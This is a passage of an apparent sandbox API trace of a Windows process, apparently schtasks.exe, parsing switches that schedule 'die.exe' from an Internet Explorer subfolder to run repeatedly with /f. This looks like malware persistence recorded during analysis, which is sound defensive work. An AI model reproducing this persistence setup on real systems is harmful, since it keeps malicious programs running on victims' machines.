_ArgList=0x21f5d8 | out: _Buffer="|create|") returned 8 [0076.346] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|mo|") returned 4 [0076.347] lstrlenW (lpString="|create|") returned 8 [0076.347] lstrlenW (lpString="|mo|") returned 4 [0076.347] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0076.347] SetLastError (dwErrCode=0x490) [0076.347] lstrlenW (lpString="delete") returned 6 [0076.347] lstrlenW (lpString="delete") returned 6 [0076.347] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.347] lstrlenW (lpString="mo") returned 2 [0076.347] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.347] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|delete|") returned 8 [0076.347] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|mo|") returned 4 [0076.347] lstrlenW (lpString="|delete|") returned 8 [0076.347] lstrlenW (lpString="|mo|") returned 4 [0076.347] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0076.347] SetLastError (dwErrCode=0x490) [0076.347] lstrlenW (lpString="query") returned 5 [0076.347] lstrlenW (lpString="query") returned 5 [0076.347] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.347] lstrlenW (lpString="mo") returned 2 [0076.347] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.347] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|query|") returned 7 [0076.347] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|mo|") returned 4 [0076.347] lstrlenW (lpString="|query|") returned 7 [0076.347] lstrlenW (lpString="|mo|") returned 4 [0076.347] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0076.347] SetLastError (dwErrCode=0x490) [0076.348] lstrlenW (lpString="change") returned 6 [0076.348] lstrlenW (lpString="change") returned 6 [0076.348] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.348] lstrlenW (lpString="mo") returned 2 [0076.348] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.348] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|change|") returned 8 [0076.348] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|mo|") returned 4 [0076.348] lstrlenW (lpString="|change|") returned 8 [0076.348] lstrlenW (lpString="|mo|") returned 4 [0076.348] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0076.348] SetLastError (dwErrCode=0x490) [0076.348] lstrlenW (lpString="run") returned 3 [0076.348] lstrlenW (lpString="run") returned 3 [0076.348] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.348] lstrlenW (lpString="mo") returned 2 [0076.348] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.348] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|run|") returned 5 [0076.348] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|mo|") returned 4 [0076.348] lstrlenW (lpString="|run|") returned 5 [0076.348] lstrlenW (lpString="|mo|") returned 4 [0076.348] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0076.348] SetLastError (dwErrCode=0x490) [0076.348] lstrlenW (lpString="end") returned 3 [0076.348] lstrlenW (lpString="end") returned 3 [0076.349] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.349] lstrlenW (lpString="mo") returned 2 [0076.349] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.349] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|end|") returned 5 [0076.349] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|mo|") returned 4 [0076.349] lstrlenW (lpString="|end|") returned 5 [0076.349] lstrlenW (lpString="|mo|") returned 4 [0076.349] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0076.349] SetLastError (dwErrCode=0x490) [0076.349] lstrlenW (lpString="showsid") returned 7 [0076.349] lstrlenW (lpString="showsid") returned 7 [0076.349] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.349] lstrlenW (lpString="mo") returned 2 [0076.349] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.349] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|showsid|") returned 9 [0076.349] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|mo|") returned 4 [0076.349] lstrlenW (lpString="|showsid|") returned 9 [0076.349] lstrlenW (lpString="|mo|") returned 4 [0076.349] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0076.349] SetLastError (dwErrCode=0x490) [0076.349] SetLastError (dwErrCode=0x490) [0076.349] SetLastError (dwErrCode=0x0) [0076.349] lstrlenW (lpString="/mo") returned 3 [0076.349] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0076.349] SetLastError (dwErrCode=0x490) [0076.349] SetLastError (dwErrCode=0x0) [0076.350] lstrlenW (lpString="/mo") returned 3 [0076.350] GetProcessHeap () returned 0x390000 [0076.350] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x8) returned 0x3ac410 [0076.350] GetProcessHeap () returned 0x390000 [0076.350] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace10 [0076.350] SetLastError (dwErrCode=0x0) [0076.350] SetLastError (dwErrCode=0x0) [0076.350] lstrlenW (lpString="10") returned 2 [0076.350] lstrlenW (lpString="-/") returned 2 [0076.350] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0076.350] SetLastError (dwErrCode=0x490) [0076.350] SetLastError (dwErrCode=0x490) [0076.350] SetLastError (dwErrCode=0x0) [0076.350] lstrlenW (lpString="10") returned 2 [0076.350] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0076.350] SetLastError (dwErrCode=0x490) [0076.350] SetLastError (dwErrCode=0x0) [0076.350] lstrlenW (lpString="10") returned 2 [0076.350] GetProcessHeap () returned 0x390000 [0076.350] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x6) returned 0x3ac430 [0076.350] GetProcessHeap () returned 0x390000 [0076.350] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace40 [0076.350] SetLastError (dwErrCode=0x0) [0076.350] SetLastError (dwErrCode=0x0) [0076.350] lstrlenW (lpString="/tr") returned 3 [0076.350] lstrlenW (lpString="-/") returned 2 [0076.350] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.350] lstrlenW (lpString="?") returned 1 [0076.350] lstrlenW (lpString="?") returned 1 [0076.351] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.351] lstrlenW (lpString="tr") returned 2 [0076.351] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.351] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|?|") returned 3 [0076.351] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tr|") returned 4 [0076.351] lstrlenW (lpString="|?|") returned 3 [0076.351] lstrlenW (lpString="|tr|") returned 4 [0076.351] SetLastError (dwErrCode=0x490) [0076.351] lstrlenW (lpString="create") returned 6 [0076.351] lstrlenW (lpString="create") returned 6 [0076.351] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.351] lstrlenW (lpString="tr") returned 2 [0076.351] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.351] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|create|") returned 8 [0076.351] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tr|") returned 4 [0076.351] lstrlenW (lpString="|create|") returned 8 [0076.351] lstrlenW (lpString="|tr|") returned 4 [0076.351] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0076.351] SetLastError (dwErrCode=0x490) [0076.351] lstrlenW (lpString="delete") returned 6 [0076.351] lstrlenW (lpString="delete") returned 6 [0076.351] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.351] lstrlenW (lpString="tr") returned 2 [0076.351] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.352] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|delete|") returned 8 [0076.352] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tr|") returned 4 [0076.352] lstrlenW (lpString="|delete|") returned 8 [0076.352] lstrlenW (lpString="|tr|") returned 4 [0076.352] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0076.352] SetLastError (dwErrCode=0x490) [0076.352] lstrlenW (lpString="query") returned 5 [0076.352] lstrlenW (lpString="query") returned 5 [0076.352] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.352] lstrlenW (lpString="tr") returned 2 [0076.352] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.352] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|query|") returned 7 [0076.352] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tr|") returned 4 [0076.352] lstrlenW (lpString="|query|") returned 7 [0076.352] lstrlenW (lpString="|tr|") returned 4 [0076.352] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0076.352] SetLastError (dwErrCode=0x490) [0076.352] lstrlenW (lpString="change") returned 6 [0076.352] lstrlenW (lpString="change") returned 6 [0076.352] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.352] lstrlenW (lpString="tr") returned 2 [0076.352] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.352] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|change|") returned 8 [0076.352] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tr|") returned 4 [0076.352] lstrlenW (lpString="|change|") returned 8 [0076.353] lstrlenW (lpString="|tr|") returned 4 [0076.353] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0076.353] SetLastError (dwErrCode=0x490) [0076.353] lstrlenW (lpString="run") returned 3 [0076.353] lstrlenW (lpString="run") returned 3 [0076.353] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.353] lstrlenW (lpString="tr") returned 2 [0076.353] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.353] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|run|") returned 5 [0076.353] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tr|") returned 4 [0076.353] lstrlenW (lpString="|run|") returned 5 [0076.353] lstrlenW (lpString="|tr|") returned 4 [0076.353] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0076.353] SetLastError (dwErrCode=0x490) [0076.353] lstrlenW (lpString="end") returned 3 [0076.353] lstrlenW (lpString="end") returned 3 [0076.353] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.353] lstrlenW (lpString="tr") returned 2 [0076.353] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.353] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|end|") returned 5 [0076.353] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tr|") returned 4 [0076.353] lstrlenW (lpString="|end|") returned 5 [0076.353] lstrlenW (lpString="|tr|") returned 4 [0076.353] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0076.353] SetLastError (dwErrCode=0x490) [0076.354] lstrlenW (lpString="showsid") returned 7 [0076.354] lstrlenW (lpString="showsid") returned 7 [0076.354] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.354] lstrlenW (lpString="tr") returned 2 [0076.354] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.354] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|showsid|") returned 9 [0076.354] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|tr|") returned 4 [0076.354] lstrlenW (lpString="|showsid|") returned 9 [0076.354] lstrlenW (lpString="|tr|") returned 4 [0076.354] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0076.354] SetLastError (dwErrCode=0x490) [0076.354] SetLastError (dwErrCode=0x490) [0076.354] SetLastError (dwErrCode=0x0) [0076.354] lstrlenW (lpString="/tr") returned 3 [0076.405] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0076.405] SetLastError (dwErrCode=0x490) [0076.406] SetLastError (dwErrCode=0x0) [0076.406] lstrlenW (lpString="/tr") returned 3 [0076.406] GetProcessHeap () returned 0x390000 [0076.406] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x8) returned 0x3ac450 [0076.406] GetProcessHeap () returned 0x390000 [0076.406] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3ace70 [0076.406] SetLastError (dwErrCode=0x0) [0076.406] SetLastError (dwErrCode=0x0) [0076.406] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.406] lstrlenW (lpString="-/") returned 2 [0076.406] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0076.406] SetLastError (dwErrCode=0x490) [0076.406] SetLastError (dwErrCode=0x490) [0076.406] SetLastError (dwErrCode=0x0) [0076.406] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.406] StrChrIW (lpStart="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'" [0076.406] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.406] GetProcessHeap () returned 0x390000 [0076.406] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ac470 [0076.406] _memicmp (_Buf1=0x3ac470, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.406] GetProcessHeap () returned 0x390000 [0076.406] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ac490 [0076.406] GetProcessHeap () returned 0x390000 [0076.407] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ad640 [0076.407] _memicmp (_Buf1=0x3ad640, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.407] GetProcessHeap () returned 0x390000 [0076.407] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x76) returned 0x3ade10 [0076.407] SetLastError (dwErrCode=0x7a) [0076.407] SetLastError (dwErrCode=0x0) [0076.407] SetLastError (dwErrCode=0x0) [0076.407] lstrlenW (lpString="'C") returned 2 [0076.407] lstrlenW (lpString="-/") returned 2 [0076.407] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0076.407] SetLastError (dwErrCode=0x490) [0076.407] SetLastError (dwErrCode=0x490) [0076.407] SetLastError (dwErrCode=0x0) [0076.407] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0076.407] GetProcessHeap () returned 0x390000 [0076.407] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x74) returned 0x3ade90 [0076.407] GetProcessHeap () returned 0x390000 [0076.407] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3acea0 [0076.407] SetLastError (dwErrCode=0x0) [0076.407] SetLastError (dwErrCode=0x0) [0076.407] lstrlenW (lpString="/f") returned 2 [0076.407] lstrlenW (lpString="-/") returned 2 [0076.407] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.407] lstrlenW (lpString="?") returned 1 [0076.407] lstrlenW (lpString="?") returned 1 [0076.407] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.407] lstrlenW (lpString="f") returned 1 [0076.407] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.408] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|?|") returned 3 [0076.408] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|f|") returned 3 [0076.408] lstrlenW (lpString="|?|") returned 3 [0076.408] lstrlenW (lpString="|f|") returned 3 [0076.408] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0076.408] SetLastError (dwErrCode=0x490) [0076.408] lstrlenW (lpString="create") returned 6 [0076.408] lstrlenW (lpString="create") returned 6 [0076.408] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.408] lstrlenW (lpString="f") returned 1 [0076.408] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.408] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|create|") returned 8 [0076.408] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|f|") returned 3 [0076.408] lstrlenW (lpString="|create|") returned 8 [0076.408] lstrlenW (lpString="|f|") returned 3 [0076.408] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0076.408] SetLastError (dwErrCode=0x490) [0076.408] lstrlenW (lpString="delete") returned 6 [0076.408] lstrlenW (lpString="delete") returned 6 [0076.408] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.408] lstrlenW (lpString="f") returned 1 [0076.408] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.408] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|delete|") returned 8 [0076.408] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|f|") returned 3 [0076.409] lstrlenW (lpString="|delete|") returned 8 [0076.409] lstrlenW (lpString="|f|") returned 3 [0076.409] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0076.409] SetLastError (dwErrCode=0x490) [0076.409] lstrlenW (lpString="query") returned 5 [0076.409] lstrlenW (lpString="query") returned 5 [0076.409] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.409] lstrlenW (lpString="f") returned 1 [0076.409] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.409] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|query|") returned 7 [0076.409] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|f|") returned 3 [0076.409] lstrlenW (lpString="|query|") returned 7 [0076.409] lstrlenW (lpString="|f|") returned 3 [0076.409] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0076.409] SetLastError (dwErrCode=0x490) [0076.409] lstrlenW (lpString="change") returned 6 [0076.409] lstrlenW (lpString="change") returned 6 [0076.409] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.409] lstrlenW (lpString="f") returned 1 [0076.409] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.409] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|change|") returned 8 [0076.409] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|f|") returned 3 [0076.409] lstrlenW (lpString="|change|") returned 8 [0076.409] lstrlenW (lpString="|f|") returned 3 [0076.409] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0076.410] SetLastError (dwErrCode=0x490) [0076.410] lstrlenW (lpString="run") returned 3 [0076.410] lstrlenW (lpString="run") returned 3 [0076.410] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.410] lstrlenW (lpString="f") returned 1 [0076.410] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.410] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|run|") returned 5 [0076.410] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|f|") returned 3 [0076.410] lstrlenW (lpString="|run|") returned 5 [0076.410] lstrlenW (lpString="|f|") returned 3 [0076.410] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0076.410] SetLastError (dwErrCode=0x490) [0076.410] lstrlenW (lpString="end") returned 3 [0076.410] lstrlenW (lpString="end") returned 3 [0076.410] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.410] lstrlenW (lpString="f") returned 1 [0076.410] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.410] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|end|") returned 5 [0076.410] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|f|") returned 3 [0076.410] lstrlenW (lpString="|end|") returned 5 [0076.410] lstrlenW (lpString="|f|") returned 3 [0076.410] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0076.410] SetLastError (dwErrCode=0x490) [0076.410] lstrlenW (lpString="showsid") returned 7 [0076.410] lstrlenW (lpString="showsid") returned 7 [0076.410] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.411] lstrlenW (lpString="f") returned 1 [0076.411] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.411] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|showsid|") returned 9 [0076.411] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f5d8 | out: _Buffer="|f|") returned 3 [0076.411] lstrlenW (lpString="|showsid|") returned 9 [0076.411] lstrlenW (lpString="|f|") returned 3 [0076.411] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0076.411] SetLastError (dwErrCode=0x490) [0076.411] SetLastError (dwErrCode=0x490) [0076.411] SetLastError (dwErrCode=0x0) [0076.411] lstrlenW (lpString="/f") returned 2 [0076.411] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0076.411] SetLastError (dwErrCode=0x490) [0076.411] SetLastError (dwErrCode=0x0) [0076.411] lstrlenW (lpString="/f") returned 2 [0076.411] GetProcessHeap () returned 0x390000 [0076.411] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x6) returned 0x3adf10 [0076.411] GetProcessHeap () returned 0x390000 [0076.411] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3aced0 [0076.411] SetLastError (dwErrCode=0x0) [0076.411] GetProcessHeap () returned 0x390000 [0076.411] GetProcessHeap () returned 0x390000 [0076.411] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac320) returned 1 [0076.411] GetProcessHeap () returned 0x390000 [0076.411] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac320) returned 0x8 [0076.411] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac320 | out: hHeap=0x390000) returned 1 [0076.411] GetProcessHeap () returned 0x390000 [0076.411] GetProcessHeap () returned 0x390000 [0076.412] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd50) returned 1 [0076.412] GetProcessHeap () returned 0x390000 [0076.412] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd50) returned 0x20 [0076.412] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd50 | out: hHeap=0x390000) returned 1 [0076.412] GetProcessHeap () returned 0x390000 [0076.412] GetProcessHeap () returned 0x390000 [0076.412] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3b0) returned 1 [0076.412] GetProcessHeap () returned 0x390000 [0076.412] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac3b0) returned 0xa [0076.412] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3b0 | out: hHeap=0x390000) returned 1 [0076.413] GetProcessHeap () returned 0x390000 [0076.413] GetProcessHeap () returned 0x390000 [0076.413] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd80) returned 1 [0076.413] GetProcessHeap () returned 0x390000 [0076.413] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd80) returned 0x20 [0076.413] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd80 | out: hHeap=0x390000) returned 1 [0076.413] GetProcessHeap () returned 0x390000 [0076.413] GetProcessHeap () returned 0x390000 [0076.413] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3d0) returned 1 [0076.413] GetProcessHeap () returned 0x390000 [0076.413] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac3d0) returned 0x8 [0076.413] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3d0 | out: hHeap=0x390000) returned 1 [0076.413] GetProcessHeap () returned 0x390000 [0076.414] GetProcessHeap () returned 0x390000 [0076.414] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acdb0) returned 1 [0076.414] GetProcessHeap () returned 0x390000 [0076.414] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acdb0) returned 0x20 [0076.414] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acdb0 | out: hHeap=0x390000) returned 1 [0076.414] GetProcessHeap () returned 0x390000 [0076.414] GetProcessHeap () returned 0x390000 [0076.414] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac3f0) returned 